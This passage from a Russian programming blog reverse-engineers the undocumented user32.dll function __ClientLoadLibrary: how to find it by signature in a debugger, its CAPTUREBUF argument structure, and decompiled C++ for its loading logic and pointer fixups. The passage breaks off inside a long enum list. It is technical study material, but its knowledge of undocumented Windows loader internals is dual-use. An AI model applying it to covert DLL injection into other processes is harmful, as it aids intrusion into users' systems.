Почти все эти функции возвращают адрес обратного вызова из ядерного сервиса (NtCallbackReturn). При вызове теневых сервисов часто до возврата из сервиса управление возвращается в UserMode, другими словами адрес обратного вызова получает именно __ClientLoadLibrary, а уже потом, после возврата из сервиса, его получает SetWindowsHookEx.<br />
<br />
Интересно то, что поле PEB.KernelCallbackTable указывает как раз на user32.apfnDispatch.<br />
Теоретически можно было бы просто отсчитать от него по 8 байт до функции __ClientLoadLibrary, но нет никакой гарантии, что в будущем Microsoft не внесёт изменения в эти структуры (изменит номер функции и её относительный адрес).<br />
Поэтому лучшим способом будет поиск по сигнатуре.<br />
<br />
Итак, для начала нужно посмотреть на библиотеку user32.dll под микроскопом (коим является конечно же дизассемблер IDA).<br />
Загрузив символы user32.pdb, нажимаем Alt+T и ищем по тексту __ClientLoadLibrary, вот начало искомой функции<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5676&amp;d=1572351391" rel="Lightbox" id="attachment5676" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5676&amp;thumb=1&amp;d=1572351391" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 1775
Размер:	58.4 Кб
ID:	5676" style="margin: 5px" /></a><br />
<br />
Чтобы определить сигнатуру, необходим воспользоваться отладчиком (может быть конечно и для IDA есть какие-то плагины, но лично я предпочитаю работать с динамической памятью).<br />
Для этого нужно сложить базовый адрес, загруженной в память user32.dll, со смещением до __ClientLoadLibrary (на картинке видно, что смещение относительно базового адреса в статике (0x180000000) равно 0х5390).<br />
Открываем <a rel="nofollow noopener noreferrer" href="https://github.com/x64dbg/x64dbg/releases" target="_blank" title="https://github.com/x64dbg/x64dbg/releases">x64dbg</a>, перемещаемся в модуль user32.dll (базовый адрес в динамике на момент загрузки модуля - 0х00007FFFD17F0000) и добавляем смещение 0х5390, в итоге попадаем туда куда нужно<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5677&amp;d=1572351810" rel="Lightbox" id="attachment5677" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5677&amp;thumb=1&amp;d=1572351810" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 1683
Размер:	81.9 Кб
ID:	5677" style="margin: 5px" /></a><br />
<br />
С помощью плагина <a rel="nofollow noopener noreferrer" href="https://github.com/Nukem9/SwissArmyKnife/releases" target="_blank" title="https://github.com/Nukem9/SwissArmyKnife/releases">SwissArmyKnife</a> делаем сигнатуру первых 7-10 инструкций (обычно этого достаточно для уникальности сигнатуры)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5678&amp;d=1572351968" rel="Lightbox" id="attachment5678" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5678&amp;thumb=1&amp;d=1572351968" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 1659
Размер:	57.8 Кб
ID:	5678" style="margin: 5px" /></a><br />
Получаем саму сигнатуру и маску.<br />
<br />
__ClientLoadLibrary принимает только 1 аргумент - указатель на недокументированную структуру, выделенную в стеке процесса<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="489803688"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="489803688" style="height: 270px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _CAPTUREBUF <span class="br0">&#123;</span>
&nbsp; &nbsp; SIZE_T BufferSize<span class="sy4">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [0] содержит длину всего буфера, включая данные переменной длины</span>
&nbsp; &nbsp; SIZE_T AdditionalDataSize<span class="sy4">;</span>&nbsp; <span class="co1">// [1] содержит длину данных переменной длины</span>
&nbsp; &nbsp; ULONG FixupsCount<span class="sy4">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [2] количество исправлений</span>
&nbsp; &nbsp; PVOID pFree<span class="sy4">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [3] указатель на конец данных переменной длины</span>
&nbsp; &nbsp; ULONG offCbkPtrs<span class="sy4">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [4] смещение от начала структуры</span>
&nbsp; &nbsp; BOOL bFixed<span class="sy4">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [5] если FALSE, каждый указатель содержит не адрес, а смещение относительно начала структуры</span>
&nbsp; &nbsp; UNICODE_STRING lpDLLPath<span class="sy4">;</span> &nbsp; <span class="co1">// [6] имя модуля, загружаемого через LoadLibraryExW</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG lpfnNotify<span class="sy4">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [7] для x32: поле lpfnNotify является смещением относительно загруженного модуля вызываемой функции</span>
&nbsp; &nbsp; &nbsp; &nbsp; UNICODE_STRING lpInitFunctionName<span class="sy4">;</span>&nbsp; <span class="co1">// [8] для x64: поле lpInitFunctionName является именем вызываемой функции; эта функция должна быть экспортируемой, потому что она извлекается с помощью GetProcAddress</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG offCbk<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy4">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [9,10] чтобы пропустить вызов функции инициализации, просто укажите значение 0 для lpfnNotify в x32, или не указывайте смещение для имени функции (FixupsCount = 1 и offCbk[1] = 0) для x64</span>
&nbsp; &nbsp; ULONG undefined<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy4">;</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// [11,12,13,14]</span>
<span class="br0">&#125;</span> CAPTUREBUF, <span class="sy2">*</span>PCAPTUREBUF<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Эта структура является специализацией более общего и сложного механизма, который существует в драйвере win32k.sys для обратных вызовов пользовательского режима.<br />
Она состоит из фиксированного заголовка (от BufferSize до bFixed) и данных переменной длины (начиная с lpDLLPath).<br />
<br />
Немного слов о внутренней структуре __ClientLoadLibrary. Реализация этой функции и функций, которые она вызывает для 32-х битного и 64-х битного кодов разная. Поэтому в дальнейшем я буду использовать директиву препроцессора _WIN64 для разделения соответствующего кода.<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="648170404"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="648170404" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> LONG<span class="br0">&#40;</span>CALLBACK <span class="sy2">*</span>gpfnInitUserApi<span class="br0">&#41;</span><span class="br0">&#40;</span>ULONG, PVOID<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_ClientLoadLibrary<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PCAPTUREBUF pCapBuffer
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
LRESULT ClientLoadLibrary<span class="br0">&#40;</span>PCAPTUREBUF pCapBuffer<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; HMODULE hMod, newhMod<span class="sy4">;</span>
&nbsp; &nbsp; CHAR Dst<span class="sy4">;</span>
&nbsp; &nbsp; PCWCH pWideCharStr<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span><span class="sy3">&amp;</span>Dst, <span class="nu0">0</span>, MAX_PATH<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>FixupsCount <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span>pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>bFixed<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; FixupCallbackPointers<span class="br0">&#40;</span>pCapBuffer<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AppModelPolicy_PolicyValue ModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_Traditional<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; PS_PKG_CLAIM PsPkgClaim <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR AttributesPresent <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; gpfnInitUserApi gfInitUserApi <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp;
<span class="co2">#ifdef _WIN64</span>
&nbsp; &nbsp; LONG_PTR dwhMod<span class="sy4">;</span>
&nbsp; &nbsp; LONG newWideCharStr<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AppModelPolicy_GetPolicy_Internal<span class="br0">&#40;</span>GetCurrentThreadEffectiveToken<span class="br0">&#40;</span><span class="br0">&#41;</span>, DllSearchOrder, <span class="sy3">&amp;</span>ModelPolicy_Value, <span class="sy3">&amp;</span>PsPkgClaim, <span class="sy3">&amp;</span>AttributesPresent<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; hMod <span class="sy1">=</span> LoadLibraryExW<span class="br0">&#40;</span>pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>lpDLLPath.<span class="me1">Buffer</span>, <span class="kw2">nullptr</span>, ModelPolicy_Value <span class="sy3">!</span><span class="sy1">=</span> DllSearchOrder_PackageGraphBased <span class="sy4">?</span> <span class="nu0">8</span> <span class="sy4">:</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; dwhMod <span class="sy1">=</span> <span class="br0">&#40;</span>LONG_PTR<span class="br0">&#41;</span>hMod<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hMod<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; pWideCharStr <span class="sy1">=</span> pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>lpInitFunctionName.<span class="me1">Buffer</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>pWideCharStr<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newhMod <span class="sy1">=</span> hMod<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newWideCharStr <span class="sy1">=</span> WideCharToMultiByte<span class="br0">&#40;</span>CP_ACP, WC_NO_BEST_FIT_CHARS, pWideCharStr, <span class="sy2">-</span><span class="nu0">1</span>, <span class="sy3">&amp;</span>Dst, MAX_PATH, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwhMod <span class="sy1">=</span> newWideCharStr<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>newWideCharStr<span class="br0">&#41;</span> <span class="kw1">goto</span> LABEL_16<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gfInitUserApi <span class="sy1">=</span> <span class="br0">&#40;</span>gpfnInitUserApi<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>newhMod, <span class="sy3">&amp;</span>Dst<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>gfInitUserApi <span class="sy3">||</span> <span class="sy3">!</span><span class="br0">&#40;</span>ULONG<span class="br0">&#41;</span>InitUserApiHook<span class="br0">&#40;</span>newhMod, gfInitUserApi<span class="br0">&#41;</span><span class="br0">&#41;</span> dwhMod <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>dwhMod<span class="br0">&#41;</span> dwhMod <span class="sy1">=</span> <span class="br0">&#40;</span>LONG_PTR<span class="br0">&#41;</span>newhMod<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LABEL_16<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FreeLibrary<span class="br0">&#40;</span>newhMod<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; LONG_PTR Result <span class="sy1">=</span> dwhMod<span class="sy4">;</span>
<span class="co2">#else</span>
&nbsp; &nbsp; AppModelPolicy_GetPolicy_Internal<span class="br0">&#40;</span>GetCurrentThreadEffectiveToken<span class="br0">&#40;</span><span class="br0">&#41;</span>, <span class="sy3">&amp;</span>ModelPolicy_Value, <span class="sy3">&amp;</span>PsPkgClaim, <span class="sy3">&amp;</span>AttributesPresent<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; hMod <span class="sy1">=</span> LoadLibraryExW<span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PCWCH<span class="sy2">*</span><span class="br0">&#41;</span>pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>lpfnNotify, <span class="kw2">nullptr</span>, ModelPolicy_Value <span class="sy3">!</span><span class="sy1">=</span> DllSearchOrder_PackageGraphBased <span class="sy4">?</span> <span class="nu0">8</span> <span class="sy4">:</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hMod<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; pWideCharStr <span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span>PCWCH<span class="sy2">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>offCbk<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>pWideCharStr<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newhMod <span class="sy1">=</span> hMod<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hMod <span class="sy1">=</span> <span class="br0">&#40;</span>HMODULE<span class="br0">&#41;</span>WideCharToMultiByte<span class="br0">&#40;</span>CP_ACP, WC_NO_BEST_FIT_CHARS, pWideCharStr, <span class="sy2">-</span><span class="nu0">1</span>, <span class="sy3">&amp;</span>Dst, MAX_PATH, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>hMod<span class="br0">&#41;</span> <span class="kw1">goto</span> LABEL_16<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>GetProcAddress<span class="br0">&#40;</span>newhMod, <span class="sy3">&amp;</span>Dst<span class="br0">&#41;</span> <span class="sy3">||</span> <span class="sy3">!</span>InitUserApiHook<span class="br0">&#40;</span><span class="br0">&#40;</span>HMODULE<span class="br0">&#41;</span>pCapBuffer, gfInitUserApi<span class="br0">&#41;</span><span class="br0">&#41;</span> hMod <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hMod<span class="br0">&#41;</span> hMod <span class="sy1">=</span> newhMod<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LABEL_16<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FreeLibrary<span class="br0">&#40;</span>newhMod<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; HMODULE Result <span class="sy1">=</span> hMod<span class="sy4">;</span>
<span class="co2">#endif // _WIN64</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> NtCallbackReturn<span class="br0">&#40;</span><span class="sy3">&amp;</span>Result, 0x18u, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>В начале функции проверяются значения FixupsCount и bFixed и затем вызывается FixupCallbackPointers.<br />
FixupCallbackPointers исправляет указатели довольно интересным способом. Сначала ищется адрес указателей обратного вызова, затем она просматривает список указателей и исправляет его, разрешая смещение по фактическому (реальному) адресу<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="56251741"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="56251741" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> VOID<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_FixupCallbackPointers<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PCAPTUREBUF pCapBuffer
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
VOID FixupCallbackPointers<span class="br0">&#40;</span>PCAPTUREBUF pCapBuffer<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG fixCount<span class="sy4">;</span>
&nbsp; &nbsp; PULONG_PTR pOffset<span class="sy4">;</span>
&nbsp; &nbsp; LONG_PTR newOffset<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; fixCount <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; pOffset <span class="sy1">=</span> <span class="br0">&#40;</span>PULONG_PTR<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PCH<span class="br0">&#41;</span>pCapBuffer <span class="sy2">+</span> pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>offCbkPtrs<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>FixupsCount<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newOffset <span class="sy1">=</span> <span class="sy2">*</span>pOffset<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PULONG_PTR<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PCH<span class="br0">&#41;</span>pCapBuffer <span class="sy2">+</span> newOffset<span class="br0">&#41;</span> <span class="sy2">+</span><span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span>PULONG_PTR<span class="br0">&#41;</span>pCapBuffer<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">++</span>pOffset<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">++</span>fixCount<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">while</span> <span class="br0">&#40;</span>fixCount <span class="sy1">&lt;</span> pCapBuffer<span class="sy2">-</span><span class="sy1">&gt;</span>FixupsCount<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Далее отрабатывает AppModelPolicy_GetPolicy_Internal<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="552656726"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="552656726" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw2">enum</span> _AppModelPolicy_Type <span class="br0">&#123;</span>
&nbsp; &nbsp; LifecycleManager <span class="sy1">=</span> <span class="nu12">0x1</span>,
&nbsp; &nbsp; AppDataAccess <span class="sy1">=</span> <span class="nu12">0x2</span>,
&nbsp; &nbsp; WindowingModel <span class="sy1">=</span> <span class="nu12">0x3</span>,
&nbsp; &nbsp; DllSearchOrder <span class="sy1">=</span> <span class="nu12">0x4</span>,
&nbsp; &nbsp; Fusion <span class="sy1">=</span> <span class="nu12">0x5</span>,
&nbsp; &nbsp; NonWindowsCodeLoading <span class="sy1">=</span> <span class="nu12">0x6</span>,
&nbsp; &nbsp; ProcessEnd <span class="sy1">=</span> <span class="nu12">0x7</span>,
&nbsp; &nbsp; BeginThreadInit <span class="sy1">=</span> <span class="nu12">0x8</span>,
&nbsp; &nbsp; DeveloperInformation <span class="sy1">=</span> <span class="nu12">0x9</span>,
&nbsp; &nbsp; CreateFileAccess <span class="sy1">=</span> <span class="nu12">0xA</span>,
&nbsp; &nbsp; ImplicitPackageBreakaway_Internal <span class="sy1">=</span> <span class="nu12">0xB</span>,
&nbsp; &nbsp; ProcessActivationShim <span class="sy1">=</span> <span class="nu12">0xC</span>,
&nbsp; &nbsp; AppKnownToStateRepository <span class="sy1">=</span> <span class="nu12">0xD</span>,
&nbsp; &nbsp; AudioManagement <span class="sy1">=</span> <span class="nu12">0xE</span>,
&nbsp; &nbsp; PackageMayContainPublicComRegistrations <span class="sy1">=</span> <span class="nu12">0xF</span>,
&nbsp; &nbsp; PackageMayContainPrivateComRegistrations <span class="sy1">=</span> <span class="nu12">0x10</span>,
&nbsp; &nbsp; LaunchCreateProcessExtensions <span class="sy1">=</span> <span class="nu12">0x11</span>,
&nbsp; &nbsp; ClrCompat <span class="sy1">=</span> <span class="nu12">0x12</span>,
&nbsp; &nbsp; LoaderIgnoreAlteredSearchForRelativePath <span class="sy1">=</span> <span class="nu12">0x13</span>,
&nbsp; &nbsp; ImplicitlyActivateClassicAAAServersAsIU <span class="sy1">=</span> <span class="nu12">0x14</span>,
&nbsp; &nbsp; ComClassicCatalog <span class="sy1">=</span> <span class="nu12">0x15</span>,
&nbsp; &nbsp; ComUnmarshaling <span class="sy1">=</span> <span class="nu12">0x16</span>,
&nbsp; &nbsp; ComAppLaunchPerfEnhancements <span class="sy1">=</span> <span class="nu12">0x17</span>,
&nbsp; &nbsp; ComSecurityInitialization <span class="sy1">=</span> <span class="nu12">0x18</span>,
&nbsp; &nbsp; RoInitializeSingleThreadedBehavior <span class="sy1">=</span> <span class="nu12">0x19</span>,
&nbsp; &nbsp; ComDefaultExceptionHandling <span class="sy1">=</span> <span class="nu12">0x1A</span>,
&nbsp; &nbsp; ComOopProxyAgility <span class="sy1">=</span> <span class="nu12">0x1B</span>,
&nbsp; &nbsp; AppServiceLifetime <span class="sy1">=</span> <span class="nu12">0x1C</span>,
&nbsp; &nbsp; WebPlatform <span class="sy1">=</span> <span class="nu12">0x1D</span>,
&nbsp; &nbsp; WinInetStoragePartitioning <span class="sy1">=</span> <span class="nu12">0x1E</span>,
&nbsp; &nbsp; IndexerProtocolHandlerHost <span class="sy1">=</span> <span class="nu12">0x1F</span>,
&nbsp; &nbsp; LoaderIncludeUserDirectories <span class="sy1">=</span> <span class="nu12">0x20</span>,
&nbsp; &nbsp; ConvertAppContainerToRestrictedAppContainer <span class="sy1">=</span> <span class="nu12">0x21</span>,
&nbsp; &nbsp; PackageMayContainPrivateMapiProvider <span class="sy1">=</span> <span class="nu12">0x22</span>,
&nbsp; &nbsp; AdminProcessPackageClaims <span class="sy1">=</span> <span class="nu12">0x23</span>,
&nbsp; &nbsp; RegistryRedirectionBehavior <span class="sy1">=</span> <span class="nu12">0x24</span>,
&nbsp; &nbsp; BypassCreateProcessAppxExtension <span class="sy1">=</span> <span class="nu12">0x25</span>,
&nbsp; &nbsp; KnownFolderRedirection <span class="sy1">=</span> <span class="nu12">0x26</span>,
&nbsp; &nbsp; PrivateActivateAsPackageWinrtClasses <span class="sy1">=</span> <span class="nu12">0x27</span>,
&nbsp; &nbsp; AppPrivateFolderRedirection <span class="sy1">=</span> <span class="nu12">0x28</span>,
&nbsp; &nbsp; GlobalSystemAppDataAccess <span class="sy1">=</span> <span class="nu12">0x29</span>,
&nbsp; &nbsp; ConsoleHandleInheritance <span class="sy1">=</span> <span class="nu12">0x2A</span>,
&nbsp; &nbsp; ConsoleBufferAccess <span class="sy1">=</span> <span class="nu12">0x2B</span>,
&nbsp; &nbsp; ConvertCallerTokenToUserTokenForDeployment <span class="sy1">=</span> <span class="nu12">0x2C</span>
<span class="br0">&#125;</span> AppModelPolicy_Type<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _AppModelPolicy_PolicyValue <span class="br0">&#123;</span>
&nbsp; &nbsp; None <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; LifecycleManager_Unmanaged <span class="sy1">=</span> <span class="nu12">0x10000</span>,
&nbsp; &nbsp; LifecycleManager_ManagedByPLM <span class="sy1">=</span> <span class="nu12">0x10001</span>,
&nbsp; &nbsp; LifecycleManager_ManagedByEM <span class="sy1">=</span> <span class="nu12">0x10002</span>,
&nbsp; &nbsp; AppDataAccess_Allowed <span class="sy1">=</span> <span class="nu12">0x20000</span>,
&nbsp; &nbsp; AppDataAccess_Denied <span class="sy1">=</span> <span class="nu12">0x20001</span>,
&nbsp; &nbsp; WindowingModel_Hwnd <span class="sy1">=</span> <span class="nu12">0x30000</span>,
&nbsp; &nbsp; WindowingModel_CoreWindow <span class="sy1">=</span> <span class="nu12">0x30001</span>,
&nbsp; &nbsp; WindowingModel_LegacyPhone <span class="sy1">=</span> <span class="nu12">0x30002</span>,
&nbsp; &nbsp; WindowingModel_None <span class="sy1">=</span> <span class="nu12">0x30003</span>,
&nbsp; &nbsp; DllSearchOrder_Traditional <span class="sy1">=</span> <span class="nu12">0x40000</span>,
&nbsp; &nbsp; DllSearchOrder_PackageGraphBased <span class="sy1">=</span> <span class="nu12">0x40001</span>,
&nbsp; &nbsp; Fusion_Full <span class="sy1">=</span> <span class="nu12">0x50000</span>,
&nbsp; &nbsp; Fusion_Limited <span class="sy1">=</span> <span class="nu12">0x50001</span>,
&nbsp; &nbsp; NonWindowsCodeLoading_Allowed <span class="sy1">=</span> <span class="nu12">0x60000</span>,
